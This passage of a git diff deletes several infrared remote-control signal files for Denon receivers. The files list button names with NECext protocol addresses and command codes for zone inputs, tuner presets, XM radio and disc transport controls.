ZONE2_INPUT_DTU/HD_RADIO -type: parsed -protocol: NECext -address: 04 03 00 00 -command: 2CB 00 00 00 -# -name: ZONE2_INPUT_NET -type: parsed -protocol: NECext -address: 04 03 00 00 -command: 2CC 00 00 00 -# -name: ZONE2_INPUT_IPOD/DOCK -type: parsed -protocol: NECext -address: 04 03 00 00 -command: 2CD 00 00 00 -# -name: ZONE2_INPUT_USB -type: parsed -protocol: NECext -address: 04 03 00 00 -command: 2CE 00 00 00 -# -name: ZONE2_INPUT_TUNER/HD_RADIO -type: parsed -protocol: NECext -address: 04 03 00 00 -command: 2CF 00 00 00 -# -name: ZONE2_INPUT_DVD -type: parsed -protocol: NECext -address: 04 03 00 00 -command: 2D0 00 00 00 -# -name: ZONE2_INPUT_HDP/BD -type: parsed -protocol: NECext -address: 04 03 00 00 -command: 2D1 00 00 00 -# -name: ZONE2_INPUT_TV/CABLE/HDMI_CEC_AUDIO -type: parsed -protocol: NECext -address: 04 03 00 00 -command: 2D2 00 00 00 -# -name: ZONE2_INPUT_SAT/CABLE -type: parsed -protocol: NECext -address: 04 03 00 00 -command: 2D3 00 00 00 -# -name: ZONE2_INPUT_GAME/VCR -type: parsed -protocol: NECext -address: 04 03 00 00 -command: 2D5 00 00 00 -# -name: ZONE2_INPUT_GAME2 -type: parsed -protocol: NECext -address: 04 03 00 00 -command: 2D7 00 00 00 -# -name: ZONE2_INPUT_VCR4 -type: parsed -protocol: NECext -address: 04 03 00 00 -command: 2D8 00 00 00 -# -name: ZONE2_INPUT_V.AUX -type: parsed -protocol: NECext -address: 04 03 00 00 -command: 2D9 00 00 00 -# -name: ZONE2_INPUT_V.AUX_2 -type: parsed -protocol: NECext -address: 04 03 00 00 -command: 2DA 00 00 00 -# -name: ZONE2_INPUT_DVD/HDP/BD -type: parsed -protocol: NECext -address: 04 03 00 00 -command: 2DC 00 00 00 -# -name: ZONE2_INPUT_VCR1/2 -type: parsed -protocol: NECext -address: 04 03 00 00 -command: 2DD 00 00 00 -# -name: ZONE2_INPUT_VCR3/4 -type: parsed -protocol: NECext -address: 04 03 00 00 -command: 2DE 00 00 00 -# -name: ZONE2_INPUT_VCR/DVR/MEDIA_PLAYER -type: parsed -protocol: NECext -address: 04 03 00 00 -command: 2DF 00 00 00 -# -name: ZONE2_INPUT_BLUETOOTH -type: parsed -protocol: NECext -address: 04 03 00 00 -command: 2EF 00 00 00 -# -name: ZONE2_INPUT_PANDORA -type: parsed -protocol: NECext -address: 04 03 00 00 -command: 2FD 00 00 00 -# -name: ZONE2_INPUT_SOURCE_SELECT_RIGHT -type: parsed -protocol: NECext -address: 04 03 00 00 -command: 313 00 00 00 -# -name: ZONE2_INPUT_SOURCE_SELECT_LEFT -type: parsed -protocol: NECext -address: 04 03 00 00 -command: 314 00 00 00 -# -name: ZONE2_REPEAT -type: parsed -protocol: NECext -address: 04 03 00 00 -command: 3BC 00 00 00 -# -name: ZONE2_RANDOM/SHUFFLE -type: parsed -protocol: NECext -address: 04 03 00 00 -command: 3BD 00 00 00 -# -name: ZONE2_USB_DIRECT_PLAY -type: parsed -protocol: NECext -address: 04 03 00 00 -command: 3BE 00 00 00 -# -name: ZONE2_FAVORITE_DIRECT_PLAY -type: parsed -protocol: NECext -address: 04 03 00 00 -command: 3BF 00 00 00 -# -name: ZONE2_TUNER_PRESET_CH_UP -type: parsed -protocol: NECext -address: 04 03 00 00 -command: 3CC 00 00 00 -# -name: ZONE2_TUNER_PRESET_CH_DOWN -type: parsed -protocol: NECext -address: 04 03 00 00 -command: 3CD 00 00 00 -# -name: ZONE2_TUNER_PRESET_SHIFT -type: parsed -protocol: NECext -address: 04 03 00 00 -command: 3CE 00 00 00 -# -name: ZONE2_TUNER_SEARCH/RDS -type: parsed -protocol: NECext -address: 04 03 00 00 -command: 3D7 00 00 00 -# -name: ZONE2_PLAY/PAUSE -type: parsed -protocol: NECext -address: 04 03 00 00 -command: 3E0 00 00 00 -# -name: ZONE2_STOP -type: parsed -protocol: NECext -address: 04 03 00 00 -command: 3E1 00 00 00 -# -name: ZONE2_TUNER_SKIP/TUNE_DOWN -type: parsed -protocol: NECext -address: 04 03 00 00 -command: 3E3 00 00 00 -# -name: ZONE2_TUNER_SKIP/TUNE_UP -type: parsed -protocol: NECext -address: 04 03 00 00 -command: 3E4 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Denon/Receiver/4,5.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Denon/Receiver/4,5.ir deleted file mode 100644 index 6db1aaa92..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Denon/Receiver/4,5.ir +++ /dev/null @@ -1,266 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: CURSOR_UP -type: parsed -protocol: NECext -address: 04 05 00 00 -command: 1B 00 00 00 -# -name: CURSOR_DOWN -type: parsed -protocol: NECext -address: 04 05 00 00 -command: 1C 00 00 00 -# -name: CURSOR_LEFT -type: parsed -protocol: NECext -address: 04 05 00 00 -command: 1D 00 00 00 -# -name: CURSOR_RIGHT -type: parsed -protocol: NECext -address: 04 05 00 00 -command: 1E 00 00 00 -# -name: ENTER -type: parsed -protocol: NECext -address: 04 05 00 00 -command: 1F 00 00 00 -# -name: RETURN -type: parsed -protocol: NECext -address: 04 05 00 00 -command: 22 00 00 00 -# -name: MENU -type: parsed -protocol: NECext -address: 04 05 00 00 -command: 23 00 00 00 -# -name: TUNER_XM_1 -type: parsed -protocol: NECext -address: 04 05 00 00 -command: 60 00 00 00 -# -name: TUNER_XM_2 -type: parsed -protocol: NECext -address: 04 05 00 00 -command: 61 00 00 00 -# -name: TUNER_XM_3 -type: parsed -protocol: NECext -address: 04 05 00 00 -command: 62 00 00 00 -# -name: TUNER_XM_4 -type: parsed -protocol: NECext -address: 04 05 00 00 -command: 63 00 00 00 -# -name: TUNER_XM_5 -type: parsed -protocol: NECext -address: 04 05 00 00 -command: 64 00 00 00 -# -name: TUNER_XM_6 -type: parsed -protocol: NECext -address: 04 05 00 00 -command: 65 00 00 00 -# -name: TUNER_XM_7 -type: parsed -protocol: NECext -address: 04 05 00 00 -command: 66 00 00 00 -# -name: TUNER_XM_8 -type: parsed -protocol: NECext -address: 04 05 00 00 -command: 67 00 00 00 -# -name: TUNER_XM_9 -type: parsed -protocol: NECext -address: 04 05 00 00 -command: 68 00 00 00 -# -name: TUNER_XM_0 -type: parsed -protocol: NECext -address: 04 05 00 00 -command: 69 00 00 00 -# -name: Z3_MUTE -type: parsed -protocol: NECext -address: 04 05 00 00 -command: 172 00 00 00 -# -name: MUTE -type: parsed -protocol: NECext -address: 04 05 00 00 -command: 172 00 00 00 -# -name: STATUS_REQUEST -type: parsed -protocol: NECext -address: 04 05 00 00 -command: 285 00 00 00 -# -name: AUX_ZONE_3 -type: parsed -protocol: NECext -address: 04 05 00 00 -command: 2C7 00 00 00 -# -name: Z3_INP_AUX -type: parsed -protocol: NECext -address: 04 05 00 00 -command: 2C7 00 00 00 -# -name: TOGGLE_NET/USB -type: parsed -protocol: NECext -address: 04 05 00 00 -command: 2C7 00 00 00 -# -name: INPUT_XM -type: parsed -protocol: NECext -address: 04 05 00 00 -command: 2CA 00 00 00 -# -name: INPUT_HD_RADIO -type: parsed -protocol: NECext -address: 04 05 00 00 -command: 2CB 00 00 00 -# -name: INPUT_NET -type: parsed -protocol: NECext -address: 04 05 00 00 -command: 2CC 00 00 00 -# -name: INPUT_IPOD -type: parsed -protocol: NECext -address: 04 05 00 00 -command: 2CD 00 00 00 -# -name: INPUT_USB -type: parsed -protocol: NECext -address: 04 05 00 00 -command: 2CE 00 00 00 -# -name: TOGGLE_DVD/HDP -type: parsed -protocol: NECext -address: 04 05 00 00 -command: 2DC 00 00 00 -# -name: Z3_INP_VCR_1/2 -type: parsed -protocol: NECext -address: 04 05 00 00 -command: 2DD 00 00 00 -# -name: Z3_INP_VCR_3/4 -type: parsed -protocol: NECext -address: 04 05 00 00 -command: 2DE 00 00 00 -# -name: TOGGLE_VCR/DVR -type: parsed -protocol: NECext -address: 04 05 00 00 -command: 2DF 00 00 00 -# -name: Z3_REPEAT -type: parsed -protocol: NECext -address: 04 05 00 00 -command: 3BC 00 00 00 -# -name: Z3_RANDOM -type: parsed -protocol: NECext -address: 04 05 00 00 -command: 3BD 00 00 00 -# -name: Z3_USB_DIR._PLAY -type: parsed -protocol: NECext -address: 04 05 00 00 -command: 3BE 00 00 00 -# -name: Z3_FAVORITE_DIR.PLAY -type: parsed -protocol: NECext -address: 04 05 00 00 -command: 3BF 00 00 00 -# -name: Z3_PRESET_CH+ -type: parsed -protocol: NECext -address: 04 05 00 00 -command: 3CC 00 00 00 -# -name: Z3_PRESET_CH- -type: parsed -protocol: NECext -address: 04 05 00 00 -command: 3CD 00 00 00 -# -name: Z3_PRESET_SHIFT -type: parsed -protocol: NECext -address: 04 05 00 00 -command: 3CE 00 00 00 -# -name: Z3_SEARCH_(RDS) -type: parsed -protocol: NECext -address: 04 05 00 00 -command: 3D7 00 00 00 -# -name: Z3_PLAY/PAUSE -type: parsed -protocol: NECext -address: 04 05 00 00 -command: 3E0 00 00 00 -# -name: Z3_STOP -type: parsed -protocol: NECext -address: 04 05 00 00 -command: 3E1 00 00 00 -# -name: Z3_SKIP/TUNE- -type: parsed -protocol: NECext -address: 04 05 00 00 -command: 3E3 00 00 00 -# -name: Z3_SKIP/TUNE+ -type: parsed -protocol: NECext -address: 04 05 00 00 -command: 3E4 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Denon/Receiver/4,7.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Denon/Receiver/4,7.ir deleted file mode 100644 index 8ad9c97ee..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Denon/Receiver/4,7.ir +++ /dev/null @@ -1,608 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: POWER_Z4_TOGGLE -type: parsed -protocol: NECext -address: 04 07 00 00 -command: 05 00 00 00 -# -name: Z4_ON -type: parsed -protocol: NECext -address: 04 07 00 00 -command: 06 00 00 00 -# -name: POWER_Z4_ON -type: parsed -protocol: NECext -address: 04 07 00 00 -command: 06 00 00 00 -# -name: Z4_OFF -type: parsed -protocol: NECext -address: 04 07 00 00 -command: 07 00 00 00 -# -name: POWER_Z4_OFF -type: parsed -protocol: NECext -address: 04 07 00 00 -command: 07 00 00 00 -# -name: CURSOR_UP -type: parsed -protocol: NECext -address: 04 07 00 00 -command: 1B 00 00 00 -# -name: NET_CURSOR_UP -type: parsed -protocol: NECext -address: 04 07 00 00 -command: 1B 00 00 00 -# -name: CURSOR_DOWN -type: parsed -protocol: NECext -address: 04 07 00 00 -command: 1C 00 00 00 -# -name: NET_CURSOR_DOWN -type: parsed -protocol: NECext -address: 04 07 00 00 -command: 1C 00 00 00 -# -name: CURSOR_LEFT -type: parsed -protocol: NECext -address: 04 07 00 00 -command: 1D 00 00 00 -# -name: NET_CURSOR_LEFT -type: parsed -protocol: NECext -address: 04 07 00 00 -command: 1D 00 00 00 -# -name: CURSOR_RIGHT -type: parsed -protocol: NECext -address: 04 07 00 00 -command: 1E 00 00 00 -# -name: NET_CURSOR_RIGHT -type: parsed -protocol: NECext -address: 04 07 00 00 -command: 1E 00 00 00 -# -name: CURSOR_ENTER -type: parsed -protocol: NECext -address: 04 07 00 00 -command: 1F 00 00 00 -# -name: NET_ENTER -type: parsed -protocol: NECext -address: 04 07 00 00 -command: 1F 00 00 00 -# -name: TUNER_UP -type: parsed -protocol: NECext -address: 04 07 00 00 -command: 90 00 00 00 -# -name: TUNER_DOWN -type: parsed -protocol: NECext -address: 04 07 00 00 -command: 91 00 00 00 -# -name: CHANNEL_+ -type: parsed -protocol: NECext -address: 04 07 00 00 -command: 92 00 00 00 -# -name: NET_PRESET+ -type: parsed -protocol: NECext -address: 04 07 00 00 -command: 92 00 00 00 -# -name: CHANNEL_- -type: parsed -protocol: NECext -address: 04 07 00 00 -command: 93 00 00 00 -# -name: NET_PRESET- -type: parsed -protocol: NECext -address: 04 07 00 00 -command: 93 00 00 00 -# -name: NET_SHIFT -type: parsed -protocol: NECext -address: 04 07 00 00 -command: 94 00 00 00 -# -name: MODE -type: parsed -protocol: NECext -address: 04 07 00 00 -command: 9C 00 00 00 -# -name: MEMO -type: parsed -protocol: NECext -address: 04 07 00 00 -command: A0 00 00 00 -# -name: NET_MEMORY -type: parsed -protocol: NECext -address: 04 07 00 00 -command: A0 00 00 00 -# -name: SEARCH -type: parsed -protocol: NECext -address: 04 07 00 00 -command: A3 00 00 00 -# -name: NET_PG./CHAR._SRCH. -type: parsed -protocol: NECext -address: 04 07 00 00 -command: A3 00 00 00 -# -name: 1 -type: parsed -protocol: NECext -address: 04 07 00 00 -command: B0 00 00 00 -# -name: NET_1 -type: parsed -protocol: NECext -address: 04 07 00 00 -command: B0 00 00 00 -# -name: 2 -type: parsed -protocol: NECext -address: 04 07 00 00 -command: B1 00 00 00 -# -name: NET_2 -type: parsed -protocol: NECext -address: 04 07 00 00 -command: B1 00 00 00 -# -name: 3 -type: parsed -protocol: NECext -address: 04 07 00 00 -command: B2 00 00 00 -# -name: NET_3 -type: parsed -protocol: NECext -address: 04 07 00 00 -command: B2 00 00 00 -# -name: 4 -type: parsed -protocol: NECext -address: 04 07 00 00 -command: B3 00 00 00 -# -name: NET_4 -type: parsed -protocol: NECext -address: 04 07 00 00 -command: B3 00 00 00 -# -name: 5 -type: parsed -protocol: NECext -address: 04 07 00 00 -command: B4 00 00 00 -# -name: NET_5 -type: parsed -protocol: NECext -address: 04 07 00 00 -command: B4 00 00 00 -# -name: 6 -type: parsed -protocol: NECext -address: 04 07 00 00 -command: B5 00 00 00 -# -name: NET_6 -type: parsed -protocol: NECext -address: 04 07 00 00 -command: B5 00 00 00 -# -name: 7 -type: parsed -protocol: NECext -address: 04 07 00 00 -command: B6 00 00 00 -# -name: NET_7 -type: parsed -protocol: NECext -address: 04 07 00 00 -command: B6 00 00 00 -# -name: 8 -type: parsed -protocol: NECext -address: 04 07 00 00 -command: B7 00 00 00 -# -name: NET_8 -type: parsed -protocol: NECext -address: 04 07 00 00 -command: B7 00 00 00 -# -name: 9 -type: parsed -protocol: NECext -address: 04 07 00 00 -command: B8 00 00 00 -# -name: 0 -type: parsed -protocol: NECext -address: 04 07 00 00 -command: B9 00 00 00 -# -name: TUNER_A -type: parsed -protocol: NECext -address: 04 07 00 00 -command: F8 00 00 00 -# -name: NET_SHIFT_A -type: parsed -protocol: NECext -address: 04 07 00 00 -command: F8 00 00 00 -# -name: TUNER_B -type: parsed -protocol: NECext -address: 04 07 00 00 -command: F9 00 00 00 -# -name: NET_SHIFT_B -type: parsed -protocol: NECext -address: 04 07 00 00 -command: F9 00 00 00 -# -name: TUNER_C -type: parsed -protocol: NECext -address: 04 07 00 00 -command: FA 00 00 00 -# -name: NET_SHIFT_C -type: parsed -protocol: NECext -address: 04 07 00 00 -command: FA 00 00 00 -# -name: TUNER_D -type: parsed -protocol: NECext -address: 04 07 00 00 -command: FB 00 00 00 -# -name: NET_SHIFT_D -type: parsed -protocol: NECext -address: 04 07 00 00 -command: FB 00 00 00 -# -name: TUNER_E -type: parsed -protocol: NECext -address: 04 07 00 00 -command: FC 00 00 00 -# -name: NET_SHIFT_E -type: parsed -protocol: NECext -address: 04 07 00 00 -command: FC 00 00 00 -# -name: TUNER_F -type: parsed -protocol: NECext -address: 04 07 00 00 -command: FD 00 00 00 -# -name: NET_SHIFT_F -type: parsed -protocol: NECext -address: 04 07 00 00 -command: FD 00 00 00 -# -name: TUNER_G -type: parsed -protocol: NECext -address: 04 07 00 00 -command: FE 00 00 00 -# -name: NET_SHIFT_G -type: parsed -protocol: NECext -address: 04 07 00 00 -command: FE 00 00 00 -# -name: STATUS_REQUEST -type: parsed -protocol: NECext -address: 04 07 00 00 -command: 285 00 00 00 -# -name: INPUT_PHONO -type: parsed -protocol: NECext -address: 04 07 00 00 -command: 2C0 00 00 00 -# -name: INPUT_TUNER -type: parsed -protocol: NECext -address: 04 07 00 00 -command: 2C1 00 00 00 -# -name: INPUT_CD -type: parsed -protocol: NECext -address: 04 07 00 00 -command: 2C2 00 00 00 -# -name: TOGGLE_NET/USB -type: parsed -protocol: NECext -address: 04 07 00 00 -command: 2C7 00 00 00 -# -name: INPUT_XM -type: parsed -protocol: NECext -address: 04 07 00 00 -command: 2CA 00 00 00 -# -name: INPUT_HD_RADIO -type: parsed -protocol: NECext -address: 04 07 00 00 -command: 2CB 00 00 00 -# -name: INPUT_NET -type: parsed -protocol: NECext -address: 04 07 00 00 -command: 2CC 00 00 00 -# -name: INPUT_IPOD -type: parsed -protocol: NECext -address: 04 07 00 00 -command: 2CD 00 00 00 -# -name: INPUT_USB -type: parsed -protocol: NECext -address: 04 07 00 00 -command: 2CE 00 00 00 -# -name: INPUT_DVD -type: parsed -protocol: NECext -address: 04 07 00 00 -command: 2D0 00 00 00 -# -name: INPUT_HDP -type: parsed -protocol: NECext -address: 04 07 00 00 -command: 2D1 00 00 00 -# -name: INPUT_TV/CBL -type: parsed -protocol: NECext -address: 04 07 00 00 -command: 2D2 00 00 00 -# -name: INPUT_SAT -type: parsed -protocol: NECext -address: 04 07 00 00 -command: 2D3 00 00 00 -# -name: INPUT_VCR -type: parsed -protocol: NECext -address: 04 07 00 00 -command: 2D5 00 00 00 -# -name: INPUT_DVR -type: parsed -protocol: NECext -address: 04 07 00 00 -command: 2D6 00 00 00 -# -name: INPUT_V.AUX -type: parsed -protocol: NECext -address: 04 07 00 00 -command: 2D9 00 00 00 -# -name: TOGGLE_DVD/HDP -type: parsed -protocol: NECext -address: 04 07 00 00 -command: 2DC 00 00 00 -# -name: TOGGLE_VCR/DVR -type: parsed -protocol: NECext -address: 04 07 00 00 -command: 2DF 00 00 00 -# -name: NET_PLAY -type: parsed -protocol: NECext -address: 04 07 00 00 -command: 305 00 00 00 -# -name: NET_PAUSE -type: parsed -protocol: NECext -address: 04 07 00 00 -command: 306 00 00 00 -# -name: NET_STOP -type: parsed -protocol: NECext -address: 04 07 00 00 -command: 307 00 00 00 -# -name: NET_SKIP_+ -type: parsed -protocol: NECext -address: 04 07 00 00 -command: 308 00 00 00 -# -name: NET_SKIP_- -type: parsed -protocol: NECext -address: 04 07 00 00 -command: 309 00 00 00 -# -name: NET_REPEAT_ONE -type: parsed -protocol: NECext -address: 04 07 00 00 -command: 30A 00 00 00 -# -name: NET_REPEAT_OFF -type: parsed -protocol: NECext -address: 04 07 00 00 -command: 30B 00 00 00 -# -name: NET_RANDON_ON -type: parsed -protocol: NECext -address: 04 07 00 00 -command: 30C 00 00 00 -# -name: NET_RANDOM_OFF -type: parsed -protocol: NECext -address: 04 07 00 00 -command: 30D 00 00 00 -# -name: NET_REPEAT_ALL -type: parsed -protocol: NECext -address: 04 07 00 00 -command: 311 00 00 00 -# -name: NET_STATUS_REQUEST -type: parsed -protocol: NECext -address: 04 07 00 00 -command: 316 00 00 00 -# -name: Z4_REPEAT -type: parsed -protocol: NECext -address: 04 07 00 00 -command: 3BC 00 00 00 -# -name: Z4_RANDOM -type: parsed -protocol: NECext -address: 04 07 00 00 -command: 3BD 00 00 00 -# -name: Z4_USB_DIR._PLAY -type: parsed -protocol: NECext -address: 04 07 00 00 -command: 3BE 00 00 00 -# -name: Z4_FAVORITE_DIR.PLAY -type: parsed -protocol: NECext -address: 04 07 00 00 -command: 3BF 00 00 00 -# -name: Z4_PRESET_CH+ -type: parsed -protocol: NECext -address: 04 07 00 00 -command: 3CC 00 00 00 -# -name: Z4_PRESET_CH- -type: parsed -protocol: NECext -address: 04 07 00 00 -command: 3CD 00 00 00 -# -name: Z4_PRESET_SHIFT -type: parsed -protocol: NECext -address: 04 07 00 00 -command: 3CE 00 00 00 -# -name: Z4_SEARCH_(RDS) -type: parsed -protocol: NECext -address: 04 07 00 00 -command: 3D7 00 00 00 -# -name: Z4_PLAY/PAUSE -type: parsed -protocol: NECext -address: 04 07 00 00 -command: 3E0 00 00 00 -# -name: Z4_STOP -type: parsed -protocol: NECext -address: 04 07 00 00 -command: 3E1 00 00 00 -# -name: Z4_SKIP/TUNE- -type: parsed -protocol: NECext -address: 04 07 00 00 -command: 3E3 00 00 00 -# -name: Z4_SKIP/TUNE+ -type: parsed -protocol: NECext -address: 04 07 00 00 -command: 3E4 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Denon/Receiver/6,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Denon/Receiver/6,-1.ir deleted file mode 100644 index 0f075243a..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Denon/Receiver/6,-1.ir +++ /dev/null @@ -1,146 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: VDP_POWER -type: parsed -protocol: NECext -address: 06 00 00 00 -command: 81 00 00 00 -# -name: VDP_POWER_(DISC_SKIP -type: parsed -protocol: NECext -address: 06 00 00 00 -command: 81 00 00 00 -# -name: VDP_STOP_[] -type: parsed -protocol: NECext -address: 06 00 00 00 -command: 83 00 00 00 -# -name: VDP_PLAY_> -type: parsed -protocol: NECext -address: 06 00 00 00 -command: 84 00 00 00 -# -name: VDP_PAUSE_ -type: parsed -protocol: NECext -address: 06 00 00 00 -command: 85 00 00 00 -# -name: VDP_SKIP_>> -type: parsed -protocol: NECext -address: 06 00 00 00 -command: 86 00 00 00 -# -name: VDP_>> -type: parsed -protocol: NECext -address: 06 00 00 00 -command: 86 00 00 00 -# -name: VDP_SKIP_<< -type: parsed -protocol: NECext -address: 06 00 00 00 -command: 87 00 00 00 -# -name: VDP_<< -type: parsed -protocol: NECext -address: 06 00 00 00 -command: 87 00 00 00 -# -name: VDP_SCAN_>> -type: parsed -protocol: NECext -address: 06 00 00 00 -command: 88 00 00 00 -# -name: -type: parsed -protocol: NECext -address: 06 00 00 00 -command: 88 00 00 00 -# -name: VDP_>> -type: parsed -protocol: NECext -address: 06 00 00 00 -command: 88 00 00 00 -# -name: VDP_FFWD_>> -type: parsed -protocol: NECext -address: 06 00 00 00 -command: 88 00 00 00 -# -name: VDP_SCAN_<< -type: parsed -protocol: NECext -address: 06 00 00 00 -command: 89 00 00 00 -# -name: VDP_<< -type: parsed -protocol: NECext -address: 06 00 00 00 -command: 89 00 00 00 -# -name: VDP_REW_<< -type: parsed -protocol: NECext -address: 06 00 00 00 -command: 89 00 00 00 -# -name: POWER_OFF -type: parsed -protocol: NECext -address: 06 00 00 00 -command: C0 00 00 00 -# -name: MD-STOP -type: parsed -protocol: NECext -address: 06 00 00 00 -command: E1 00 00 00 -# -name: MD-PLAY -type: parsed -protocol: NECext -address: 06 00 00 00 -command: E2 00 00 00 -# -name: MD-PAUSE -type: parsed -protocol: NECext -address: 06 00 00 00 -command: E3 00 00 00 -# -name: MD-FF -type: parsed -protocol: NECext -address: 06 00 00 00 -command: E9 00 00 00 -# -name: MD-RW -type: parsed -protocol: NECext -address: 06 00 00 00 -command: EA 00 00 00 -# -name: MD-SEARCH+ -type: parsed -protocol: NECext -address: 06 00 00 00 -command: EB 00 00 00 -# -name: MD-SEARCH- -type: parsed -protocol: NECext -address: 06 00 00 00 -command: EC 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Denon/Receiver/7,4.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Denon/Receiver/7,4.ir deleted file mode 100644 index f5e50e1e7..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Denon/Receiver/7,4.ir +++ /dev/null @@ -1,182 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: 1 -type: parsed -protocol: NECext -address: 07 04 00 00 -command: 01 00 00 00 -# -name: 2 -type: parsed -protocol: NECext -address: 07 04 00 00 -command: 02 00 00 00 -# -name: 3 -type: parsed -protocol: NECext -address: 07 04 00 00 -command: 03 00 00 00 -# -name: 4 -type: parsed -protocol: NECext -address: 07 04 00 00 -command: 04 00 00 00 -# -name: 5 -type: parsed -protocol: NECext -address: 07 04 00 00 -command: 05 00 00 00 -# -name: 6 -type: parsed -protocol: NECext -address: 07 04 00 00 -command: 06 00 00 00 -# -name: 7 -type: parsed -protocol: NECext -address: 07 04 00 00 -command: 07 00 00 00 -# -name: 8 -type: parsed -protocol: NECext -address: 07 04 00 00 -command: 08 00 00 00 -# -name: 9 -type: parsed -protocol: NECext -address: 07 04 00 00 -command: 09 00 00 00 -# -name: 0 -type: parsed -protocol: NECext -address: 07 04 00 00 -command: 0A 00 00 00 -# -name: MEMO -type: parsed -protocol: NECext -address: 07 04 00 00 -command: 0C 00 00 00 -# -name: SEARCH -type: parsed -protocol: NECext -address: 07 04 00 00 -command: 12 00 00 00 -# -name: CHANNEL_- -type: parsed -protocol: NECext -address: 07 04 00 00 -command: 15 00 00 00 -# -name: CHANNEL_+ -type: parsed -protocol: NECext -address: 07 04 00 00 -command: 16 00 00 00 -# -name: BAND -type: parsed -protocol: NECext -address: 07 04 00 00 -command: 17 00 00 00 -# -name: MODE -type: parsed -protocol: NECext -address: 07 04 00 00 -command: 18 00 00 00 -# -name: TUNER_UP -type: parsed -protocol: NECext -address: 07 04 00 00 -command: 19 00 00 00 -# -name: TUNER_DOWN -type: parsed -protocol: NECext -address: 07 04 00 00 -command: 1A 00 00 00 -# -name: CURSOR_ENTER -type: parsed -protocol: NECext -address: 07 04 00 00 -command: 42 00 00 00 -# -name: CURSOR_UP -type: parsed -protocol: NECext -address: 07 04 00 00 -command: 45 00 00 00 -# -name: CURSOR_DOWN -type: parsed -protocol: NECext -address: 07 04 00 00 -command: 46 00 00 00 -# -name: CURSOR_LEFT -type: parsed -protocol: NECext -address: 07 04 00 00 -command: 47 00 00 00 -# -name: CURSOR_RIGHT -type: parsed -protocol: NECext -address: 07 04 00 00 -command: 48 00 00 00 -# -name: TUNER_A -type: parsed -protocol: NECext -address: 07 04 00 00 -command: 60 00 00 00 -# -name: TUNER_B -type: parsed -protocol: NECext -address: 07 04 00 00 -command: 61 00 00 00 -# -name: TUNER_C -type: parsed -protocol: NECext -address: 07 04 00 00 -command: 62 00 00 00 -# -name: TUNER_D -type: parsed -protocol: NECext -address: 07 04 00 00 -command: 63 00 00 00 -# -name: TUNER_E -type: parsed -protocol: NECext -address: 07 04 00 00 -command: 64 00 00 00 -# -name: TUNER_F -type: parsed -protocol: NECext -address: 07 04 00 00 -command: 65 00 00 00 -# -name: TUNER_G -type: parsed -protocol: NECext -address: 07 04 00 00 -command: 66 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Denon/Receiver/7,5.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Denon/Receiver/7,5.ir deleted file mode 100644 index dd4a523dd..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Denon/Receiver/7,5.ir +++ /dev/null @@ -1,176 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: XM_MEMORY -type: parsed -protocol: NECext -address: 07 05 00 00 -command: 0C 00 00 00 -# -name: XM_SHIFT -type: parsed -protocol: NECext -address: 07 05 00 00 -command: 0D 00 00 00 -# -name: XM_SEARCH -type: parsed -protocol: NECext -address: 07 05 00 00 -command: 12 00 00 00 -# -name: XM_PRESET_- -type: parsed -protocol: NECext -address: 07 05 00 00 -command: 15 00 00 00 -# -name: XM_PRESET_+ -type: parsed -protocol: NECext -address: 07 05 00 00 -command: 16 00 00 00 -# -name: XM_CH- -type: parsed -protocol: NECext -address: 07 05 00 00 -command: 31 00 00 00 -# -name: XM_CH+ -type: parsed -protocol: NECext -address: 07 05 00 00 -command: 32 00 00 00 -# -name: XM_CURSOR_UP -type: parsed -protocol: NECext -address: 07 05 00 00 -command: 43 00 00 00 -# -name: XM_CURSOR_DOWN -type: parsed -protocol: NECext -address: 07 05 00 00 -command: 44 00 00 00 -# -name: XM_CURSOR_LEFT -type: parsed -protocol: NECext -address: 07 05 00 00 -command: 45 00 00 00 -# -name: XM_CURSOR_RIGHT -type: parsed -protocol: NECext -address: 07 05 00 00 -command: 46 00 00 00 -# -name: XM_ENTER -type: parsed -protocol: NECext -address: 07 05 00 00 -command: 47 00 00 00 -# -name: XM_SHIFT_A -type: parsed -protocol: NECext -address: 07 05 00 00 -command: 50 00 00 00 -# -name: XM_SHIFT_B -type: parsed -protocol: NECext -address: 07 05 00 00 -command: 51 00 00 00 -# -name: XM_SHIFT_C -type: parsed -protocol: NECext -address: 07 05 00 00 -command: 52 00 00 00 -# -name: XM_SHIFT_D -type: parsed -protocol: NECext -address: 07 05 00 00 -command: 53 00 00 00 -# -name: XM_SHIFT_E -type: parsed -protocol: NECext -address: 07 05 00 00 -command: 54 00 00 00 -# -name: XM_SHIFT_F -type: parsed -protocol: NECext -address: 07 05 00 00 -command: 55 00 00 00 -# -name: XM_SHIFT_G -type: parsed -protocol: NECext -address: 07 05 00 00 -command: 56 00 00 00 -# -name: XM_1 -type: parsed -protocol: NECext -address: 07 05 00 00 -command: 60 00 00 00 -# -name: XM_2 -type: parsed -protocol: NECext -address: 07 05 00 00 -command: 61 00 00 00 -# -name: XM_3 -type: parsed -protocol: NECext -address: 07 05 00 00 -command: 62 00 00 00 -# -name: XM_4 -type: parsed -protocol: NECext -address: 07 05 00 00 -command: 63 00 00 00 -# -name: XM_5 -type: parsed -protocol: NECext -address: 07 05 00 00 -command: 64 00 00 00 -# -name: XM_6 -type: parsed -protocol: NECext -address: 07 05 00 00 -command: 65 00 00 00 -# -name: XM_7 -type: parsed -protocol: NECext -address: 07 05 00 00 -command: 66 00 00 00 -# -name: XM_8 -type: parsed -protocol: NECext -address: 07 